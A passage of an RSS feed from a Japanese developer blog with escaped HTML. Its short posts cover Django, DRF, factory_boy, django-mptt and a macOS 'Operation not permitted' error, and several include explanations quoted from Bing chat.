&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@main.command&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.argument&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;path&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.pass_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;workgroup_export&lt;/span&gt;(ctx, path):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; Workgroup Export &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nodes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Workgroup&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(export_trees(nodes))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async</title><link>https://hdknr.github.io/blogs/posts/2023/05/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-use-a-thread-or-sync_to_async/</link><pubDate>Thu, 04 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-use-a-thread-or-sync_to_async/</guid><description>&lt;h2 id="jupyter-django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context---use-a-thread-or-sync_to_async"&gt;Jupyter: &lt;code&gt;Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;このエラーは、asyncコンテキストから同期的なコードを呼び出そうとした場合に発生するエラーです。&lt;/p&gt;
&lt;p&gt;async-unsafeなコードを呼び出す場合は、asyncコンテキストからではなく、自分自身の同期関数で書き、それをasgiref.sync.syncを使用して呼び出すように修正する必要があります¹。&lt;/p&gt;
&lt;p&gt;¹: &lt;a href="https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u"&gt;Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async. - Stack Overflow&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/4&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) Django: SynchronousOnlyOperation: You cannot call this &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u"&gt;https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) django.core.exceptions.SynchronousOnlyOperation after &amp;hellip;. &lt;a href="https://github.com/django/channels/issues/1464"&gt;https://github.com/django/channels/issues/1464&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) python - Django channels Async Websocket throwing Error &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/63892884/django-channels-async-websocket-throwing-error-while-trying-to-use-database-quer"&gt;https://stackoverflow.com/questions/63892884/django-channels-async-websocket-throwing-error-while-trying-to-use-database-quer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) Django channel occasionally gets error &amp;ldquo;cannot call this from &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/69239657/django-channel-occasionally-gets-error-cannot-call-this-from-an-async-context"&gt;https://stackoverflow.com/questions/69239657/django-channel-occasionally-gets-error-cannot-call-this-from-an-async-context&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(5) python - Getting SynchronousOnlyOperation error Even after &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/63149616/getting-synchronousonlyoperation-error-even-after-using-sync-to-async-in-django"&gt;https://stackoverflow.com/questions/63149616/getting-synchronousonlyoperation-error-even-after-using-sync-to-async-in-django&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;DJANGO_ALLOW_ASYNC_UNSAFE&lt;/strong&gt; 環境変数を使用することで、非同期コンテキストで SynchronousOnlyOperation エラーが発生した場合に警告を無効にすることができます¹。&lt;/p&gt;</description></item><item><title>macOS: ls: .: Operation not permitted</title><link>https://hdknr.github.io/blogs/posts/2023/05/macos-ls-.-operation-not-permitted/</link><pubDate>Tue, 02 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/macos-ls-.-operation-not-permitted/</guid><description>&lt;h2 id="macos-ls--operation-not-permitted"&gt;macOS: ls: .: Operation not permitted&lt;/h2&gt;
&lt;p&gt;このエラーは、macOSの&lt;strong&gt;セキュリティ機能&lt;/strong&gt;によって、ターミナルのコマンドが&lt;strong&gt;特定のディレクトリ&lt;/strong&gt;に対して&lt;strong&gt;制限されている&lt;/strong&gt;可能性があります¹²。例えば、DownloadsやDocumentsなどのディレクトリは、プライバシー保護のためにアクセス権が制限されています²。&lt;/p&gt;
&lt;p&gt;この場合、&lt;strong&gt;システム環境設定&lt;/strong&gt;から、ターミナルに対して&lt;strong&gt;フルディスクアクセス&lt;/strong&gt;を許可する必要があります¹²。具体的な手順は以下の通りです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;システム環境設定を開きます。&lt;/li&gt;
&lt;li&gt;セキュリティとプライバシーを選択します。&lt;/li&gt;
&lt;li&gt;プライバシータブをクリックします。&lt;/li&gt;
&lt;li&gt;左側のメニューからフルディスクアクセスを選択します。&lt;/li&gt;
&lt;li&gt;鍵のアイコンをクリックしてロックを解除します。&lt;/li&gt;
&lt;li&gt;パスワードを入力します。&lt;/li&gt;
&lt;li&gt;+ボタンをクリックしてターミナルを追加します。&lt;/li&gt;
&lt;li&gt;ターミナルを再起動します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これで、lsコマンドなどが正常に動作するはずです。試してみてください。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) macOS の「Operation not permitted」を回避する【du/ls/mv/cp &amp;hellip;. &lt;a href="https://qiita.com/KEINOS/items/0366f1c281b574a79cfb"&gt;https://qiita.com/KEINOS/items/0366f1c281b574a79cfb&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) ターミナルでコマンド実行時に「Operation not permitted」が出 &amp;hellip;. &lt;a href="https://qiita.com/Tatsu88/items/f50f850b0c8f4a2c1bf2"&gt;https://qiita.com/Tatsu88/items/f50f850b0c8f4a2c1bf2&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) unix - ls: Operation not Permitted - Stack Overflow. &lt;a href="https://stackoverflow.com/questions/25717501/ls-operation-not-permitted"&gt;https://stackoverflow.com/questions/25717501/ls-operation-not-permitted&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) 突然の「Operation not permitted」-Dockerが採用する &amp;hellip;. &lt;a href="https://www.creationline.com/lab/46861"&gt;https://www.creationline.com/lab/46861&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="設定--プライバシーとセキュリティ"&gt;設定 &amp;gt; プライバシーとセキュリティ&lt;/h3&gt;
&lt;img width="705" alt="prvacy" src="https://user-images.githubusercontent.com/104647/235813294-f71d2e00-b941-407a-8c6e-8057ff41bdd6.png"&gt;
&lt;h3 id="-フルディスクアクセス"&gt;&amp;gt; フルディスクアクセス&lt;/h3&gt;
&lt;img width="711" alt="disk" src="https://user-images.githubusercontent.com/104647/235813298-e3ed55da-1c15-4534-ab44-6d698bbcc0df.png"&gt;</description></item><item><title>factory_boy: SubFactory</title><link>https://hdknr.github.io/blogs/posts/2023/04/factory_boy-subfactory/</link><pubDate>Sun, 30 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/factory_boy-subfactory/</guid><description>&lt;h1 id="factory_boy-subfuctory-でforeignkeyフィールドを初期化する"&gt;factory_boy: SubFuctory で　ForeignKeyフィールドを初期化する&lt;/h1&gt;
&lt;p&gt;factory_boy はテストデータを簡単に作るためのライブラリです²。ForeignKey フィールドのインスタンスのデフォルトを定義するには、&lt;strong&gt;SubFactory&lt;/strong&gt; を使う方法があります¹⁴。例えば、以下のように書けます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PhoneContactFactory&lt;/span&gt;(factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DjangoModelFactory):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;PhoneContact
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CoopFactory&lt;/span&gt;(factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DjangoModelFactory):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Coop
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; phone &lt;span style="color:#f92672"&gt;=&lt;/span&gt; factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SubFactory(PhoneContactFactory)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この場合、CoopFactory を使って Coop インスタンスを作ると、PhoneContactFactory も使って PhoneContact インスタンスを作り、そのインスタンスを Coop の phone フィールドにセットします。&lt;/p&gt;
&lt;p&gt;もしくは、&lt;strong&gt;SelfAttribute&lt;/strong&gt; を使う方法もあります⁴。例えば、以下のように書けます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SubtitlesFactory&lt;/span&gt;(factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DjangoModelFactory):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Subtitles
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RecordingFactory&lt;/span&gt;(factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DjangoModelFactory):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Recording
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; subtitles &lt;span style="color:#f92672"&gt;=&lt;/span&gt; factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SubFactory(SubtitlesFactory, language&lt;span style="color:#f92672"&gt;=&lt;/span&gt;factory&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SelfAttribute(&lt;span style="color:#e6db74"&gt;&amp;#39;..language&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この場合、RecordingFactory を使って Recording インスタンスを作るときに language パラメータを指定すると、その値が SubtitlesFactory の language パラメータにも渡されます。&lt;/p&gt;</description></item><item><title>DRF: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list</title><link>https://hdknr.github.io/blogs/posts/2023/04/drf-unorderedobjectlistwarning-pagination-may-yield-inconsistent-results-with-an-unordered-object_list/</link><pubDate>Sat, 29 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/drf-unorderedobjectlistwarning-pagination-may-yield-inconsistent-results-with-an-unordered-object_list/</guid><description>&lt;h2 id="drf-unorderedobjectlistwarning-pagination-may-yield-inconsistent-results-with-an-unordered-object_list"&gt;DRF: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list&lt;/h2&gt;
&lt;p&gt;ViewSetの &lt;code&gt;queryset&lt;/code&gt; で &lt;code&gt;order_by&lt;/code&gt; を明示的に指定すること&lt;/p&gt;
&lt;p&gt;I see. Django REST framework also supports pagination for large result sets, but you need to specify a &lt;strong&gt;default pagination class&lt;/strong&gt; and a &lt;strong&gt;page size&lt;/strong&gt; in your settings.py file¹. Alternatively, you can set the &lt;strong&gt;pagination_class&lt;/strong&gt; attribute for each viewset individually⁴. However, you still need to order your queryset by some field, otherwise you will get the same warning as before²³. You can use the &lt;strong&gt;order_by&lt;/strong&gt; method on your queryset or the &lt;strong&gt;ordering&lt;/strong&gt; attribute on your viewset¹. For example:&lt;/p&gt;</description></item><item><title>Django MPTT: values で tree_id が SELECT されてしまう</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-mptt-values-%E3%81%A7-tree_id-%E3%81%8C-select-%E3%81%95%E3%82%8C%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86/</link><pubDate>Fri, 28 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-mptt-values-%E3%81%A7-tree_id-%E3%81%8C-select-%E3%81%95%E3%82%8C%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86/</guid><description>&lt;h2 id="django-mptt-values-で-tree_id-が-select-されてしまう"&gt;Django MPTT: values で tree_id が SELECT されてしまう&lt;/h2&gt;
&lt;h3 id="仕様である"&gt;仕様である&lt;/h3&gt;
&lt;p&gt;django-mptt の TreeQuerySet で values コールすると SQL に tree_id が追加されているのは、django-mptt がツリー構造を管理するために必要なカラムだからです²。tree_id は、同じツリーに属するノードに同じ値を持ちます²。例えば、以下のようなモデルがあるとします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; mptt.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; MPTTModel, TreeForeignKey
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Category&lt;/span&gt;(MPTTModel):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CharField(max_length&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;, unique&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parent &lt;span style="color:#f92672"&gt;=&lt;/span&gt; TreeForeignKey(&lt;span style="color:#e6db74"&gt;&amp;#39;self&amp;#39;&lt;/span&gt;, on_delete&lt;span style="color:#f92672"&gt;=&lt;/span&gt;models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CASCADE, null&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, blank&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, related_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;children&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MPTTMeta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; order_insertion_by &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このとき、以下のように values をコールすると、SQL に tree_id が追加されます²。&lt;/p&gt;</description></item><item><title>Django: Template: QuerySetの指定したindexのインスタンスの参照</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-template-queryset%E3%81%AE%E6%8C%87%E5%AE%9A%E3%81%97%E3%81%9Findex%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%BF%E3%83%B3%E3%82%B9%E3%81%AE%E5%8F%82%E7%85%A7/</link><pubDate>Thu, 27 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-template-queryset%E3%81%AE%E6%8C%87%E5%AE%9A%E3%81%97%E3%81%9Findex%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%BF%E3%83%B3%E3%82%B9%E3%81%AE%E5%8F%82%E7%85%A7/</guid><description>&lt;h2 id="django-template-queryset-の指定した-index-のインスタンスの参照"&gt;Django: Template: QuerySet の指定した index のインスタンスの参照&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;配列ではないので、数値でインデクシングできない&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{{ e.expenseitem_set.0 }} {# NG #}
